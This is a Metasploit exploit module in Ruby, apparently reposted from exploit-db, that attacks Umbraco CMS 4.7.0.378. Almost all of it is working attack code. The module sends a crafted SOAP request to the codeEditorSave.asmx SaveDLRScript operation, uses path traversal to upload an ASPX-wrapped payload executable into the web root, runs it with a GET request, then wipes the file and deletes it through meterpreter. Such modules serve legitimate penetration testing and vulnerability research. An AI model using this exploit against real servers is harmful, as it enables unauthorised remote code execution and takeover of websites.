Umbraco CMS – Remote Command Execution (Metasploit)

  • 作者: Metasploit
    日期: 2012-07-09
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/19671/
  • ##
    # This file is part of the Metasploit Framework and may be subject to
    # redistribution and commercial restrictions. Please see the Metasploit
    # web site for more information on licensing and terms of use.
    # http://metasploit.com/
    ##
    
    require 'msf/core'
    
    class Metasploit3 < Msf::Exploit::Remote
    	Rank = ExcellentRanking
    
    	include Msf::Exploit::Remote::HttpClient
    	include Msf::Exploit::EXE
    
    	def initialize
    		super(
    			'Name'	=> 'Umbraco CMS Remote Command Execution',
    			'Description' => %q{
    					This module can be used to execute a payload on Umbraco CMS 4.7.0.378.
    				The payload is uploaded as an ASPX script by sending a specially crafted
    				SOAP request to codeEditorSave.asmx, which permits unauthorised file upload
    				via the SaveDLRScript operation. SaveDLRScript is also subject to a path
    				traversal vulnerability, allowing code to be placed into the web-accessible
    				/umbraco/ directory.
    
    				The module writes, executes and then overwrites an ASPX script; note that
    				though the script content is removed, the file remains on the target. Automatic
    				cleanup of the file is intended if a meterpreter payload is used.
    
    				This module has been tested successfully on Umbraco CMS 4.7.0.378 on a Windows
    				7 32-bit SP1. In this scenario, the "IIS APPPOOL\ASP.NET v4.0" user must have
    				write permissions on the Windows Temp folder.
    			},
    			'Author'=> [
    				'Toby Clarke', # Vulnerability discovery and Metasploit module
    				'juan vazquez' # Improved version of the Metasploit module
    			],
    			'Platform'=> 'win',
    			'References'=>
    				[
    					[ 'URL', 'http://blog.gdssecurity.com/labs/2012/7/3/find-bugs-faster-with-a-webmatrix-local-reference-instance.html' ],
    					[ 'URL', 'http://umbraco.codeplex.com/workitem/18192' ] # Item deleted for security reasons
    				],
    			'Targets' =>
    				[
    					[ 'Umbraco CMS 4.7.0.378 / Microsoft Windows 7 Professional 32-bit SP1', { } ],
    				],
    			'DefaultTarget'=> 0,
    			'Privileged' => false,
    			'DisclosureDate' => 'Jun 28 2012'
    		)
    
    		register_options(
    			[
    				OptString.new('TARGETURI', [true, 'The URI path of the Umbraco login page', '/umbraco/'])
    			], self.class)
    	end
    
    	#
    	# Remove the asmx if we get a meterpreter.
    	#
    	def on_new_session(cli)
    		if cli.type != 'meterpreter'
    			print_error("Meterpreter not used. Please manually remove #{@upload_random + '.aspx'}")
    			return
    		end
    
    		cli.core.use("stdapi") if not cli.ext.aliases.include?("stdapi")
    
    		begin
    			aspx = @upload_random + '.aspx'
    
    			print_status("#{@peer} - Searching: #{aspx}")
    			files = cli.fs.file.search("\\", aspx)
    			if not files or files.empty?
    				print_error("Unable to find #{aspx}. Please manually remove it.")
    				return
    			end
    
    			files.each { |f|
    				print_status("#{@peer} - Deleting: #{f['path'] + "\\" + f['name']}")
    				cli.fs.file.rm(f['path'] + "\\" + f['name'])
    			}
    			print_status("#{@peer} - #{aspx} deleted")
    		rescue ::Exception => e
    			print_error("Unable to delete #{aspx}: #{e.message}")
    		end
    	end
    
    	# Module based heavily upon Juan Vazquez's 'landesk_thinkmanagement_upload_asp.rb'
    	def exploit
    
    		@peer = "#{rhost}:#{rport}"
    
    		# Generate the ASPX containing the EXE containing the payload
    		exe = generate_payload_exe
    		aspx = Msf::Util::EXE.to_exe_aspx(exe)
    
    		# htmlentities like encoding
    		aspx = aspx.gsub("&", "&amp;").gsub("\"", "&quot;").gsub("'", "&#039;").gsub("<", "&lt;").gsub(">", "&gt;")
    
    		uri_path = target_uri.path
    		uri_path.path << "/" if uri_path[-1, 1] != "/"
    
    		@upload_random = rand_text_alpha(rand(6) + 6)
    
    		soap = <<-eos
    <?xml version="1.0" encoding="utf-8"?>
    <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
    	<soap:Body>
    		<SaveDLRScript xmlns="http://tempuri.org/">
    			<fileName>/..\\..\\..\\umbraco\\#{@upload_random}.aspx</fileName>
    			<oldName>string</oldName>
    			<fileContents>#{aspx}</fileContents>
    			<ignoreDebugging>1</ignoreDebugging>
    		</SaveDLRScript>
    	</soap:Body>
    </soap:Envelope>
    		eos
    
    		#
    		# UPLOAD
    		#
    
    		attack_url = uri_path + "webservices/codeEditorSave.asmx"
    		print_status("#{@peer} - Uploading #{aspx.length} bytes through #{attack_url}...")
    		print_status("#{@peer} - Uploading to #{uri_path}#{@upload_random}.aspx")
    
    		res = send_request_cgi({
    			'uri'=> attack_url,
    			'method' => 'POST',
    			'ctype'=> 'text/xml; charset=utf-8',
    			'headers'	=> {
    					'SOAPAction' => "\"http://tempuri.org/SaveDLRScript\"",
    				},
    			'data' => soap,
    		}, 20)
    
    		if (! res)
    			print_status("#{@peer} - Timeout: Trying to execute the payload anyway")
    		elsif (res.code = 500 and res.body =~ /Cannot use a leading .. to exit above the top directory/)
    			print_status("#{@peer} - Got the expected 500 error code #{attack_url} [#{res.code} #{res.message}]")
    		else
    			print_status("#{@peer} - Didn't get the expected 500 error code #{attack_url} [#{res.code} #{res.message}]. Trying to execute the payload anyway")
    		end
    
    		#
    		# EXECUTE
    		#
    
    		upload_path = uri_path + "#{@upload_random}.aspx"
    		print_status("#{@peer} - Executing #{upload_path}...")
    
    		res = send_request_cgi({
    			'uri'=>upload_path,
    			'method' => 'GET'
    		}, 20)
    
    		if (! res)
    			print_error("#{@peer} - Execution failed on #{upload_path} [No Response]")
    			return
    		end
    
    		if (res.code < 200 or res.code >= 300)
    			print_error("#{@peer} - Execution failed on #{upload_path} [#{res.code} #{res.message}]")
    			return
    		end
    
    		#
    		# 'DELETE' - note that the file will remain on the system, but the content will be wiped.
    		#
    
    		soap = <<-eos
    <?xml version="1.0" encoding="utf-8"?>
    <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
    	<soap:Body>
    		<SaveDLRScript xmlns="http://tempuri.org/">
    			<fileName>/..\\..\\..\\umbraco\\#{@upload_random}.aspx</fileName>
    			<oldName>string</oldName>
    			<fileContents></fileContents>
    			<ignoreDebugging>1</ignoreDebugging>
    		</SaveDLRScript>
    	</soap:Body>
    </soap:Envelope>
    		eos
    
    		attack_url = uri_path + "webservices/codeEditorSave.asmx"
    		print_status("#{@peer} - Writing #{aspx.length} bytes through #{attack_url}...")
    		print_status("#{@peer} - Wrting over #{uri_path}#{@upload_random}.aspx")
    
    		res = send_request_cgi({
    			'uri'=> attack_url,
    			'method' => 'POST',
    			'ctype'=> 'text/xml; charset=utf-8',
    			'headers'	=> {
    					'SOAPAction' => "\"http://tempuri.org/SaveDLRScript\"",
    				},
    			'data' => soap,
    		}, 20)
    
    		if (! res)
    			print_error("#{@peer} - Deletion failed at #{attack_url} [No Response]")
    			return
    		elsif (res.code = 500 and res.body =~ /Cannot use a leading .. to exit above the top directory/)
    			print_status("#{@peer} - Got the expected 500 error code #{attack_url} [#{res.code} #{res.message}]")
    		else
    			print_status("#{@peer} - Didn't get the code and message #{attack_url} [#{res.code} #{res.message}]")
    		end
    		handler
    	end
    end